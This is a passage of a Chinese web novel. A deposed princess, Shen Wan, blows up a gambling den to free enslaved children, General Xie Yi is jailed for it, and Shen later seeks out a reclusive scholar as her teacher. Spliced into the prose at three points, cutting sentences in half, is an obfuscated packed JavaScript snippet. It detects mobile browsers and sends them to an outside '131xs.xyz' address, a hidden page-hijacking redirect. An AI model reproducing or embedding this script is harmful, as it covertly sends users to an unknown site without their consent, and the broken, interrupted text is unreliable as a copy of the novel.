“走什么神?”谢翊牵过她的手,哑着声,“你点的火,要负责灭。” “我、我不会。”沈绾脑袋有些发懵。 “我教你。”男人沉冷的声音已经完全被欲/望淹没。 不多时,屋里传来令人脸红耳赤的喘息。 不知过了多久,那声音骤然变了调,沈绾的手也支撑到了尽头。 ** 不知不觉,已是惊蛰。 天气转暖,万物复苏,京中街巷仍旧熙熙攘攘。 这日,西盘街巷子处忽然传来骚动,原来有人在金老板的赌场里发现不少蛇虫,那蛇是京郊常见可毒性最强的花斑蛇。 西盘街相较京中其他街市,地处偏僻,出了城往西十里,便是茂密山林,再加上铺子地下阴凉潮湿,偶出现蛇虫也不奇怪。 为此,金老板特派人买了不少驱虫药粉,分撒在赌场各处,斗兽场处于地下,更是少不了。 铺子伙计忙进忙出,无人注意到街巷一角,有二人正密切关注着铺子动静。 “我说谢老弟,你这招也忒损了些。”三爷摸着下巴,咂舌道,“为了做你们药铺生意,这样坑金老板。” “多亏了三爷帮忙,”沈绾从怀中掏出银票,“抓蛇辛苦,这多出来的一百两,算是小弟心意。” “好说好说,都是为了生意嘛。”三爷摸着手里一叠,瞬间换了脸色,嘴角越咧越开,“得亏我对这铺子熟悉得很,知道哪些地方放蛇最安全,不过金老板这铺子是得好好检查一番,听说最近巡防营换了新首领,若是让官府查出些什么不该查到的东西,也是麻烦事。多洒些药粉驱邪也好。” 三爷将银票往袖里一揣,抵了抵鼻子,“不过话说来,你家这药粉味道着实重了些。” “味道重,才最有效果。”沈绾面容沉静,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773131|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧掩在阴影里,视线不经落在被搬进的药粉袋上。 三爷凝着她侧颜,不由眯起眼,“谢老弟,我们之前是不是在哪见过?” “三爷说笑,”沈绾收回目光,颔首浅笑,“我们自然见过,我可是金老板那的常客。” “也是。”三爷虽觉哪里奇怪,可一时又想不出,索性也不追究。 ** 转眼,就到了襄吉皇后的生辰,今年的宴会比往年要隆重许多。 耶齐格今年已近四十,妻妾不少,可膝下并无一子,多年来,除了一统中原,“求子”已成他最大的执念。 眼下意外有了孩子,耶齐格自认上天感念他的诚心,让江山不至于后继无人,故而将这次宴席办得空前隆重。 除了在宫里大宴群臣,更是将盛况延至民间,凡城中百姓,皆能在宫城下讨到一杯皇家喜酒。 宴会从早闹到晚,皇后只在开场露了个脸,大多时间皆在寝殿歇息。 她是东厥王嫡女,又是耶齐格发妻,如今又有了孩子,自是风光无量。 “阿姐,你说这肚子里是男孩还是女孩?”乌兰朵好奇地盯着姐姐肚子。 襄吉皇后慈爱地笑了笑,“男孩女孩都好,我已年逾三十,没想到还能有孩子,这可真是神明保佑,陛下的心愿也总算达成了。” “要我说,阿姐你还是多注重保养自己。姐夫他有三宫六院,身边那么多女人,那颗心早就不属于你一个人,你何苦一心为了他而委屈自己?” “你还小,有些事还不懂。”皇后苦笑摇头,“一个女人这一生若是没有自己的孩子,那该是多大的遗憾。况且后宫之中,子嗣尤为重要,这孩子是皇上的第一个孩子,想来定会平安富贵度过一生。” “阿姐,我看你是在宫里呆久了,一心只想着那些无聊的东西。”乌兰朵不以为然,拨弄着烛芯,“这孩子虽出生皇家,可还有一半是我们东厥人的血脉,有我这个姨娘在,谁敢小瞧他? 况且,我不认为我们女子只有生了孩子才能实现价值,踏疆场、定天下,他们男人能做的,我们女人同样能做,怎会因为一个孩子而留遗憾?” 襄吉皇后被自家妹妹这番论调堵得说不出话来,只好打趣笑道:“你既这么说,是一辈子不想着婚嫁生子之事了?那烈将军,你也不要了?” “谁说我不要!”乌兰朵立即反驳,少见地露出女儿家的娇羞,“我自己的事自己会上心,放心吧阿姐,早晚有一天我会把他追到手。” “你呀,这股自信劲从小到大都没变。”皇后宠溺一笑,“可光有信心可没用,必要时,还是要采取些手段。” 皇后敛了神色:“你放心,你看中的男人,阿姐也会帮你。男人贪一时新鲜不要紧,渐渐地,他会发现那些乱七八糟的女人什么都给不了他,只会带来无尽的麻烦和痛苦,而你,才是唯一适合他的人……” “阿姐,我怎么有些听不明白?”乌兰朵正疑惑,忽听天边传来一声巨响,那震感由远及近,带来沉沉的压迫。 “来人,去看看外面怎么回事?”皇后被这声惊响扰到,皱眉揉着额角。 有宫娥匆匆进来回禀,面上难掩惊慌:“启禀娘娘,天边一处燃起火光,好、好像有什么东西炸了!” 这晚月朗星稀,幕空中一片火树银花,热闹至极,可这声巨响却带着不寻常的躁动,破空而来。 众人登上城墙高楼,只见远处烈焰冲天,火光灼目,若是将视角移近,便会发现这爆裂声竟来自西盘街。 整条街区被照的犹如白昼,肆虐的火舌不断吞噬屋舍房梁,伴着浓浓的硝烟味,直冲云霄,几乎烧透了半边天。 30. 第三十章 授业道 金老板的铺子,炸了。 众人都去皇城下讨彩头,除了那些玩红了眼的赌徒在场子里一掷千金,原本冷冷清清的西盘街这晚几乎空了一样,故而这场爆炸虽动静不小,可造成的伤亡却有限。 事发前,沈绾让黑脸汉子带着一帮身手利索的村民在外接应,他们一部分先是伪装成地痞流氓在铺子口打架,吸引看门伙计的注意,另一部分则趁着夜色在四周堆放沾了火油的草堆。 只需一颗火星子,便引得那些伙计大喊:“走水了!” 铺中人群顿时作鸟兽散,斗兽场处于地下,此刻正玩得如火如荼,全然不知外面变故。 沈绾带着一群暗卫趁乱溜入,因早就熟悉场中地形,一伙人很快找到那些被囚的孩子,打晕看守后一路往外逃。 过程中自然少不了一番缠斗,可金老板当晚外出谈生意,铺子突发变故,一时间群龙无首。 一伙人刚出铺门,就听爆破声自地下传来,如春日惊雷轰然作响。 那些输红了眼不断叫嚣的赌客,甚至还来不及弄清是怎么回事,便已命丧火场。 因这地方特殊,伤及的又都是些大大小小的权贵,故而此事一出,惊动朝野,耶齐格下令彻查,整个京都衙门顿时忙得团团转。 “怎么这么不小心,早知道我就该跟着你。”明黄烛火下,谢翊牵过玉手,满眼心疼地涂抹着药膏。 原来沈绾当晚为替一个半路跌倒的孩子挡刀,被追上来的打手划伤了手背。 刺目血痕落在莹白雪肤上,让人心生怜意。 “没事,一点小伤。”沈绾眉眼弯弯,少了以往娇气,她早就不是千娇万宠的小帝姬,暗牢睡过、掖幽庭待过,还怕一点小口子? “你虽不在意,我可心疼。”谢翊轻声耳语,“这双手销魂得紧,我可得宝贝着。” 沈绾立即反应过来,他是指那晚帮他…… 粉腮染上几抹绯红,“你再混说,我就不让你上药了。” “好好好,不说了。”谢翊轻哄,握牢她欲乱动的小手。 他原本并不会哄人,曾经的他,三年如一日的冰块脸,可对于沈绾,许多事情无师自通,他也愿意为此改变。 自从二人关系调转,她虽虚与委蛇,逢场作戏,他却乐在其中,许多他曾经掩藏的、不愿示人的,全部对她展露无疑。 “你这回居然连铺子都炸了,”他声音虽沉,可难掩笑意,“哪来的火药?” “喏,打赌赢的。”沈绾眉梢微翘,“这还得感谢皇后娘娘这场生辰宴,那些硝石我自然不好弄到,可那间铺子的主人却是个八面来财的主儿,将备好的东西掺在药粉里,神不知鬼不觉。” 谢翊鼻间溢出一声低笑:“你倒是个机灵的,赢了赌局还要炸人家的铺子。” “那地方早就该封了,当初既是我父皇种下的因,这个果自然由我了结。”沈绾羽睫轻眨,面色沉静。 “只是……”她顿了顿,“朝廷肯定会彻查此事,虽说这事做得隐秘,可保不准耶齐雷不会攀咬,你……” “你放心。”谢翊替她仔细包扎好伤口,温声道:“今晚你们易了容,又蒙着面巾,那伙人应该认不出,只要他们没有证据,就咬不上咱们。” 沈绾沉吟道:“这事我做的虽冲动,可也是快刀斩乱麻的一种法子,将军何不借机将事情闹开,将这颗炸药扔到幕后人头上?” 墨眸闪过幽光,二人对视良久,心中皆有了盘算。 ** 这场爆炸案因牵连着诸方势力,京都衙门即便抓破脑袋,也查不出个所以然。 京中权贵虽不便将自己出入赌场之事摆到明面上,可还是打着维护京都治安的由头连连上书,将此事一半的责任推到负责维护京都治安的巡防营头上,理由是巡防营玩忽职守、巡查不力,当晚放任匪徒出逃,才酿成大祸。 本该将矛头对准赌场铺子背后真相,如今却全都归咎于巡视军队,只要细想便能发现,背后显然有人操控。 而如今这巡防营的节制权,耶齐格前不久正好交给了谢翊。 这桩案子又恰好发生在皇后生辰之际,且多日查不出头绪,耶齐格为此大怒,在一众拓摩权贵再次联合上书后,不得不将部分怒火迁至于谢翊。 于是,大将军谢翊因此获罪,施以鞭笞之刑后被囚于内狱。 转变来得太快,其发展远远超乎沈绾预料。 “怎么会这样?”沈绾坐在相府花厅,桌上的清茶飘出丝丝白气,她却始终未碰一口,“我料想过巴泰王会疯咬,可没想到会这么快。” 代鄯啜了口茶,悠悠道:“姑娘聪慧,怎么不明白这其中道理,阿烈是何等身份,凭一个巴泰王哪里定的了他的罪,真正能定罪的,只有一人。” 沈绾一凛,顿时明白过来,“你是说……皇上?” 代鄯不动声色笑了笑,不置可否。 沈绾仍自犹疑:“可如今天下未定,皇上尚需倚重将军,即便已经心存芥蒂,也不该这么快……” 代鄯解释:“所以阿烈只是被罚,并未深究。” “可到底是受了罚,如今又被关入内狱,这案子又迟迟结不了,皇上这是打算将军关到什么时候?” 代鄯好奇觑了眼沈绾:“想不到你还挺关心他?” 见沈绾面色一滞,神色复杂垂下眼,代鄯唇角弯了弯,煦然一笑:“放心吧,阿烈什么场面没见过,那几鞭子根本伤不了他,至于要被关多久,就要看这案子到底是怎么个结法。” 见沈绾目露疑惑,代鄯索性也不再绕弯子,“既然有人胡乱攀扯,我们就要把事情掰回正道来,赌场因何而爆,这背后牵扯的可不只有那些权贵。” 沈绾到底聪慧,顿时明白代鄯所指,“你是说让百姓出面,将事情摊露开?” 代鄯端起茶碗,用碗盖轻刮着茶叶,“是,也不是。” “百姓出面只是一部分,因为他们本就是受害者,可那些权贵不是吃素的,他们既然敢玩,就有应对的法子,真要闹开,我们占不了多大便宜。” 代鄯顿了顿,目光一凝,“所以,我们需要等一个契机。” “什么契机?” 代鄯定定道:“一个让皇上不得不直面百姓诉求,再难偏私的契机。” ** 沈绾离开相府前,同沈葭又说了会话,她近日沉迷药方,以往在宫廷内不便学习的医术,这些日子几乎钻研了个遍。 书本上的文字她看不到,代鄯得了空便会帮她念。 初时,府中上下只当她是丞相请来的女医师,可日子久了,任谁都能看出自家大人对这位女医师不一般,何况二人夜夜同榻而眠,多少显得暧昧。 而这最初的起因,不过是因为沈葭身上的馨香恰可缓解代鄯多年的失眠之症。 “阿鸾,谢将军这次入狱,看得出你还是很关心他。” 沈葭的话与代鄯不谋而合,在外人面前她可以沉默,可在自家姐姐面前却是怎么也瞒不过。 “三姐姐,我……”沈绾欲言又止。 “我知道你在想什么,”沈葭叹了口气,“我同你一样,时刻没有忘记亡国之仇,如今这番境遇也是不得已而为之,你若打定了主意,就不要在心里太过苛责自己。 人非草木,你同他相处了这么久,难免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793628|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生出情义,不必为此有负罪感,关心是一回事,坚定自己的选择又是另一回事。不管发生什么,只要记住,三姐姐永远是站在你这边的。” 沈绾眼底一热,如小女孩般靠在沈葭肩头,只有此刻在她面前,自己才可以真正卸下伪装,那颗尘封冰冷的心,才渐渐感知到温度。 残留的寒意在春风的柔拂中渐渐退场,柳梢在不知不觉间点染上翠色,可一旦入了夜,还是被墨色掩盖。 将军府由于谢翊入狱,早早闭了府,只有春桃每晚守在侧门等沈绾回来。 这晚沈绾快到门口,远远瞧见石狮子旁站了个人,好在门廊下灯笼高挂,走近一看,才发现乌兰朵于门口负手而立,劲瘦却极富力量感的脊背挺得笔直。 似是听到脚步声,乌兰朵应声回头,“沈姑娘,我们又见面了。” 沈绾心中虽疑惑,可还是遵照礼法,蹲身行了一礼,“公主漏夜来此,不知所谓何事?” 乌兰朵徐徐上前几步,一双眉眼带着极强的生命力,“更深露重,姑娘确定要同我在外面说话?” 沈绾深知乌兰朵此行必有原因,微微敛了敛眉,于前方引路,“公主里面请。” 沈绾将人引入暖阁,吩咐春桃取来软垫铺于上位,又亲自奉上瓜果茶盏,俨然一副府中女主人的模样。 “公主,这是上好的雪顶含翠,请。”沈绾恭敬呈上茶碗,一张芙蓉面无波无澜。 乌兰朵眉头不自觉蹙了蹙,并未接茶。 “沈姑娘,我清楚记得上次我们的谈话,如今烈将军因西盘街铺子一案牵连入狱,想必没人比你更清楚这背后缘由。” 乌兰朵是个直性子,素来不喜欢拐弯抹角,因此谈起话来也是开门见山。 “你曾说过,烈将军于你而言不过是以图自保的工具,正因如此,我也一直觉得自己还有机会。可这回你为达目的不惜让他受刑获罪,难道也是为了自保?” 她一连追问,神色肃然,“我深知烈将军对你非同一般,也一直想着该如何才能抓住他的心,可我尝试了很多次,但都失败了。可越是这样,我越是不想放弃,如今你这般不择手段,果真不在乎他一丝一毫?” 乌兰朵紧盯着沈绾,想从她身上看到一丝不忍和动摇,可落入眼底的只有古井般的沉静。 沈绾水眸轻抬,原本冷澈的眼底,不觉流转出几分温情,“听公主这番话,果真是至情至性之人。那依公主的意思,我该当如何?去衙门自首投案?” 沈绾唇角轻勾,似笑非笑:“没有证据,您为何觉得这件事会与我有关?我一介女流,根本不知道到底发生了什么。更何况,公主觉得,我会是那种为救一个男人,就情愿牺牲自己的女人?” 沈绾歪了歪头,潋滟流光的眸子无辜又狡黠,让人捉摸不透。 乌兰朵愣了愣,审视沈绾半晌,“你……当真一点也不在乎?”她迟疑片刻,喃喃道,“之前我一直以为,你心里多少是在意他的……” 沈绾见她黯了神色,刚想说些什么,忽见她轻抬羽睫,长长舒了口气,脸上重又换上那副明朗神色。 “我果然没看错,你这个人,够冷情也够洒脱,虽有些出乎意料,但偏偏——很合我胃口。” 少女眉梢上挑,清亮的眼神中透着一丝玩味和欣赏。 “其实今晚,我也只是想来你这探探口风,既然你一口咬定毫不知情,那想必我也问不出什么。不过有件事,我想随口一说,你也就随便听听。” 乌兰朵端起茶碗,嗅了口茶香,慢条斯理却意味深长道:“上回南征,你应该发现他是负伤回来的,那你可知,他身上的伤到底是怎么来的?” 31. 第三十一章 定风波 沈绾眸光几不可察地动了动,乌兰朵瞥了她一眼,未等她开口,兀自继续道:“朝野只道上次南征是大胜而归,可只有亲历过战事的人,才知道要攻下一座城池的艰难。” 说到这,乌兰朵蓦然转了话题,“你知道我为何喜欢烈将军吗?” 沈绾被她问得一愣,乌兰朵支着脑袋笑了笑,“这世上好男儿不少,可像烈将军这样矛盾,集狠决悲悯于一身的,我还是头一回见。大胤与北疆诸部素来不睦,多年来各族的厮杀已刻进每个人的血液里,攻城屠民听上去很残暴,可这正是当初你们胤人对我们的手段,我们若要报复,也情有可原吧。 而烈将军偏偏是个例外。 明明战场上的他冷峻骁勇,令人胆寒,可下了战场,他脸上却常常露出悲戚之色。他曾对我说,既是战争,总免不了有人为此送命,无论将士还是百姓,都是权力斗争的牺牲品,所以但凡他率领的队伍,均有一条死规——不准屠城。” 说到这,乌兰朵觑了眼沈绾,“可两军交战,都是你死我活,稍有差池,造成的后果往往不可估量。那日大军苦战三日,终于攻下茂州城,正遇着匪寇兵败逃窜,烈将军亲自率兵镇压,于乱民中救下一女童,那孩子看起来不过八九岁,父母双亡身上又有伤,烈将军好心将她带回军营救治,可就在次日,军中大半将士突发恶疾,接连倒下,叛军随之大举进攻,将我们死死困在城中。 就这样过了三日,眼看城中粮草尽绝,烈将军索性独率一支骑军突围,那些叛军早就杀红了眼,见有人出城疯狂堵截,饶是他身手再好,身上也还是中了两箭,刀伤更是不少,最后好不容易才从后方调来援军。 等事情平息后仔细一查,竟是他当初救下的女童在士兵饮水中下了毒,原来,那孩子不过是叛军故意丢置的诱饵,就看我们会不会上钩。” 乌兰朵缓了缓,轻抿了口茶,“两军交战,最忌妇人之仁,可烈将军这位北疆战神却偏偏犯了最不该犯的错误。”她朝下弯了弯唇角,眸底闪过一丝暗芒,“我原本无法理解,可后来当我见到那孩子第一眼,瞬间有些明白过来,原来,她的眼睛跟你很像。 一样冷澈,一样孤傲。” 沈绾指尖不住一抖,指甲深深陷入掌心,“公主同我说这些,是什么意思?” “没什么意思,我先前说了,不过随口一说。”乌兰朵直起身,正色望向沈绾,“无论你心里怎么想,烈将军都远比我想象中更在意你。可你们之间偏又是这种关系,若你真的只是为图自保留在他身边,那倒也罢了,可若你有更大的野心,我倒真是替他担心。他的双亲皆死于胤人刀下,一路走来虽有宏图伟志,但更多的是私恨家仇,而你……” 乌兰朵摇头轻叹,“这样长久下去,只怕最后会害死他。” 沈绾闻言垂下眉,暗自思量,她从来不知道,战场上的谢翊是这个样子。 “时辰不早了,我也不便在这打扰。”见沈绾犹自出神,乌兰朵眸光微沉,眉梢轻扬,“这案子京府衙门查不出来,不代表我就查不出来。” “查案的角度不同,得到的结果也会不同。”沈绾回神,悄然掩去心中波澜,从容不惊道,“公主既要查,那就祝您早日查清真相。” 乌兰朵深深望她一眼,不再多言,临走前不忘敲了敲桌沿,“这茶不错。” “公主喜欢就好。”沈绾不动神色,欠身为礼。 ** 将军府虽闭了府,可沈绾在御马司的差事照旧。 耶齐格因忙着朝事,今年的春猎也是一拖再拖,三爷身为御马司典簿,这几日本该落得清闲,可一股不安总时不时绕在心头。 金老板铺子爆炸一事他虽弄不清怎么回事,但却隐隐感觉蹊跷,直到这日,他偶然发现司里喂马的一名马奴甚为眼熟,他向来拜高踩低,鲜少与下面人打交道,留神一打听,此人竟出自大将军府上,许多断裂的记忆碎片瞬间拼合。 这马奴不就是那晚斗兽场上的小美娘! 不对,似乎还有哪里差了一环。 还没来得及细想,一件棘手的差事从天而降。 原来御马司之前侵吞百姓农田,以官田名义租给百姓耕种,每年除了收税,还要额外增收一笔草场银。 历年来,这笔银子自上而下层层克扣,大多进了御马司提督太监魏公公的私囊,眼下恰好赶着魏公公寿辰,可自开春以来,这笔银子却迟迟收不齐全,仔细一查,原来京郊有几家农户竟然集体拒交,下面这些人急得抓耳挠腮,自然要派人去催银子。 三爷是魏公公近来新收的干儿子,这样的苦差事正好就落到他的头上。 心里虽然骂骂咧咧,可该做的活还是要做,简单收拾一番,叫来几名官差,着人揣上收账簿子,刚踏出院门,脑中鬼使神差闪过一个念头。 “去,把那个姓沈的饲马奴叫上。” “是。”手下得应,跑去唤人。 三爷站在院中,不觉摩挲起下巴。 他记得那晚小美娘是在兽奴之后才出现,看那架势,似乎是为了救人。他打听过,那些少年兽奴有一半来自京郊村子,而那场爆炸之后,赌场中的兽奴竟一夜之间全部外逃,这其中肯定有什么关联。 沈绾意外被传唤,心头不由一跳,她连忙放下刷子,拍了拍身上草屑。那位三爷怎么想起来找她?心里边琢磨边挽下高卷的袖子,跨步朝外走。 三爷早已等得不耐烦,见沈绾匆匆赶来,一身马奴装扮,脸上还挂着几滴汗珠子,俨然没了斗兽场当晚的气势,不由摆出架子,“这贵人就是贵人,步子都比寻常人走得慢些。” “奴婢沈绾,叩见典簿大人。”沈绾垂着头,屈膝行礼,“不知大人传唤,姗姗来迟,请大人恕罪。” “同在司里当差这么久,本官还是头一回见你。” “奴婢粗鄙,难以入大人法眼。”沈绾虽拿不准对方目的,却熟悉这帮人的脾性,故而姿态越发谦逊恭敬。 “把头抬起来。”三爷拿着腔调,居高临下道。 沈绾忖度片刻,缓缓抬头。 细长的小眼徐徐眯起,在她身上仔细打量,“沈姑娘,我们之前是不是在哪见过?” 他有意试探,沈绾却从容不迫道:“奴婢身份卑贱,哪里有福气得见大人。” 三爷不明所以哼了声,赌场的事既不能明着说,他也不再多问,如今将军府岌岌可危,他自然不惧她身后有什么背景。 “那你今日的福气便来了,跟本官出去走一趟。” 沈绾暗自握紧手心,应声:“是。” 一个时辰后,一行人在村子口停下。 夕阳残照,入目皆是低矮的土墙,破败的茅屋上挂着几面摇摇欲坠的蛛网,只有远处零星几户人家门里隐约传来犬吠,整个景象比沈绾初时来时更显萧条。 两名官差狠狠一踹,一户积年陈旧的老木门瞬间支离破碎。 “人呢,滚出来!”为头官差吆喝着。 可回应他的只有院中无声的老树、空荡的院墙和寂静的屋舍。 “跑了?”三爷两道细长的眉毛拧在一块,“搜!” “是。” 官差们四下翻找,竟无一处值钱物件,就连柴堆米缸也全部见底,这是举家外逃? 一连搜了欠银的几家,皆都人去屋空。 “好,很好。”三爷气极反笑,双手叉腰,闭上眼睛咬紧后槽牙,声音隐隐发颤,“都是不怕死的主。” “大、大人,您看接下来……”侍从咽了口唾沫星,小心翼翼道。 春风和煦,可豆大的汗珠还是不停从额角冒出,讨不上银子,让他如何向上面交差?去年他刚拜了魏公公作干爹,今年寿辰,他是一定要去献礼,之前在赌场本就输了不少,如今即便他想自掏腰包,也根本拿不出! 三爷深呼了几口气,再睁眼,眸底已是厉色尽显。 “这些刁民既不让我们好过,那这地方也别留了。”青白的嘴唇上下开合,忿忿挤出一字:“烧!” 随行官差一听这话,立马准备好火油泼向屋墙。 眼看熊熊火把点燃房舍,三爷这才想到什么,忽道:“慢着!” 眼珠骨碌一转,从侍从手中接过火把,递到沈绾面前,“你来。” 火源靠近,沈绾呼吸一顿。 意识到对方这是有意为难,素白玉手犹豫片刻,只好艰难握住火柄,“大人,这人固然跑了,可贸然烧毁屋舍,是否太过偏激?御马司代表皇家脸面,他们可都是良民……” “啰嗦什么,”三爷不耐烦道,“什么良民?欠下税银擅自逃窜,无论跑到哪都只是流民,依律朝廷尚可通缉。何况本官乃七品典簿,不慎毁了几个贱民的房子,有谁会追究?烧!” 见沈绾迟迟没有动作,三爷阴笑了声,“你这般袒护这帮贱民,难道另有隐情?” 数道视线沉沉落下,沈绾只道在劫难逃,硬着头皮,步子沉重,眼看火焰刚要触到茅屋,忽听有人大喝:“慢着!” 黑脸汉子手持镰刀,领着一帮人走过来,都是身材结实的庄稼汉子,个个目光炯炯,气势汹汹。 “你们凭什么烧房子!”黑脸汉子只和沈绾对视一眼,便移开目光,径直瞪向三爷。 “大胆刁民,你是什么人,也敢阻拦本官!” 黑脸汉子冷硬道:“我是李家村的草贩,人称李大山,你们即便是官差,也不能目无王法,没根没由烧人房舍!” “李大山?”三爷拧眉看向一旁侍从,“查查。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815598|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍从忙从怀里掏出账簿,仔细查找半天,“查到了,前不久刚接了咱们御马司的生意,上回因草料成色不佳,扣了三两银子,目前尚无欠银……” 三爷咂舌,颐指气使道:“既没欠银子,来找什么茬?我看你是活得不耐烦了!”转头对侍从道:“来人,把这群刁民给我抓起来!” 官差们纷纷上前,作势就要拿人,忽听身后传来一阵大笑。 一身粗布短衣的老者双手搭在膝前,懒洋洋坐在田埂头。 一张清癯的脸上优游闲适,乍一看,似乎只是在……晒太阳? 三爷本就冒火,见状更是没好气,“老头,你在那鬼笑什么?” 老者也不看他,只自顾道:“我笑这乌云遮了日头,恶犬没了心肝,庄稼地里说是非,明论天理暗吃肉。” 一番话说得颠三倒四,可沈绾知道,这话里话外无不在讥讽暗嘲。 “这是个疯老头,来人,先把他嘴给我封了。”三爷怒道。 “这位官爷,且听我把话说完。”老者不慌不忙,气定神闲,“诸位打着官家旗号,想必师出有名?” 老者气度从容,言行间自有股出尘隐士的味道,三爷一时拿不准他什么来头,不耐道:“这是自然,这些刁民欠缴税银,本官过来催税也是执行公务。” “原来是御马司的官爷。”老者瞥了眼官服,轻啧了声,“小老儿记得上个月贵司才来村子里征过税,不知今日官爷催的又是哪项税银?” “是新增的草场银。”一官差抢先道。 自家大人哪用得着跟这些贱民对话,理应自己代劳,转头谄媚看向主子,却三爷的脸色沉得能滴出水。 他这是……说错话了? 老者捋了捋白须,继而道:“这李家村及周边村落共有二百一十户人家,其中被朝廷征去的农田共近一万亩,且当初征田既无明谕也无贴银,这私田莫名就变作官田,农户成了佃户不说,这租税也由原来民田的五成税变作监田的八成税。 若赶上年成好,这万亩田产出两万石粮食,可折银一万六千两,只朝廷一处便征去一万三千两,这样算下,每户一年只可落得十四两白银,若是再去掉徭役银,能够上温饱都是勉强;若年成不好,却还是按照旧年比例征收,到手银子不断减少可徭役却在加重,这是把百姓当肥田,割完一茬又一茬。 如今却还要额外征收这莫须有的草场银,即便山匪海寇来了,也要向各位官爷作揖,这般敛财手段真是滑天下之大稽!” 老者说得条分缕析,掷地有声,将这多年的糊涂账一五一十摊开在众人面前。 有庄稼汉子听罢,愤愤道:“说得正是,连年闹旱灾,家家都吃不饱肚子,却还要不断缴银子,这不是把我们往死路上逼吗?” “你——”三爷颤着手,指着老者鼻尖,脸上早已红一块白一块,“刁民!在这信口开河、质疑朝廷,我看你们是活腻了!通通给本官抓起来!” 李大山那一群汉子倒也不怵,转眼和官差交起手来。 这些官差虽看着唬人,可日常都躺在油堆上办差,真遇人硬刚起来,根本不堪一击。 “反了反了,简直反了!”看着眼前混乱一片,三爷气得直跳脚,“你们这是要造反不成!” 他这次出来匆忙,本想着对付几个庄稼人不是什么大事,也没带正儿八经的骑兵,没想到手下几个侍从这么不成事,眼看就要被撂倒。 “一群废物!”三爷怒骂,从车驾上取来弓箭,张弓拉弦,瞄准田埂旁的老者,箭镞刚要离弦之际,一声唳啸自天际传来。 灰羽墨毛的海东青展翅自高空俯冲而下,锋利的尖喙不偏不倚正中三爷眼睛。 “啊——”凄厉惨叫立即吸引众人注意,几名官差纷纷聚拢过来,“大人,您没事吧?” 刺目的血珠自指缝渗出,三爷双手捂着眼睛,哀嚎不止。 “还愣着做什么,快把大人扶回车上,去城中找大夫!”沈绾故作惊慌,高声指挥道。 官差们一听这话,也顾不上缠斗,忙灰溜溜离开。 一行人在狼狈的马蹄声中渐行渐远,沈绾朝海东青打了个手势,它便在空中盘旋几圈,没入天际。 “想不到你还会驯隼?”李大山抹了把脸上灰渍,讶异道。 沈绾浅笑:“皮毛而已。” 这还是前阵子谢翊教她的,好在这只海东青很是听话,没有磨合太久,好像早就认她为主似的。 一场闹剧结束,老者拍拍身上尘土,从田埂上撑膝起身,没有过多停留的意思。 沈绾见状忙道:“先生,留步。” 老者回头乜了眼沈绾。 “先生,”沈绾拱手俯身行礼,恭敬道:“您不记得我了?” 32. 第三十二章 授业道 微风拂动衣角,老者目光悠远,像是记得眼前人,又像是不记得。 “在西盘街,我们见过的。”沈绾眼神晶亮,定定道,“天元一子定乾坤,弃三隅而活中腹。” 老者捋须吟笑:“记得又如何,不记得又如何?” 听老者这样说,沈绾心中越发有了底,“先生大恩,沈绾没齿难忘,但愿此生有幸,能报答先生。” “你这女娃娃,老夫与你不过两面之缘,谈何报答?” “虽只有两面之缘,可先生之谋令人钦佩,方才在官差面前仗义执言,大谈税收之弊,实在令人称快。” 沈绾深吸口气,像是下定某种决心,后退一步,拱手下拜。 只需稍一留意,便看出她执的乃弟子礼,“沈绾不才,愿拜先生为师,恳请先生不弃。” 女音诚挚又坚定,随着微拂的清风,落在广阔田埂间。 “老夫不过一乡野村夫,有何教得了你?” 沈绾舒然一笑:“先生不肯以真面目示人,晚辈却不敢轻慢。这世间能破得了珍珑棋局,又这般仙风道骨,闲云山野,却不忘民生大义,敢于直抒朝野弊政的,只有一人 ——明景崇,明老先生。” 老者清亮的眼底遽然浮起涟漪。 “早年虽未见过真容,可先生大名早有耳闻。”沈绾轻勾唇角,“况且晚辈斗胆一猜,先生当初出现铺子恐怕并非自愿,您是身陷囹圄,难以脱身了吧?” 老者眸光愈发幽深,却丝毫不见被冒犯的羞恼。 “即便看在当日我助您脱身的份上,您好歹考虑考虑再答应?” 长睫如蝶翼轻眨,少女眼底带着说不出的机灵狡黠。 老者望了她半晌,忽而大笑出声,“想不到你这个女娃娃倒有几分意思。” 沈绾猜的没错,当初他的确是意外被囚困。 自从拓摩侵占中原,天下动荡,天下学子分为两派,一派认为大胤根基已腐,大厦将倾已成定局,遂投立新朝,以求建功立业,开创新局;另一派则认为蛮夷刁横,轻贱胤人,遂至死守节,不愿屈服。 明景崇身为天下学子之师,即便想置身事外,也难避纷扰。一次北上授学,却遇蛮夷刁难,恰好金老板路过,虽为他解围,但也将他囚困。 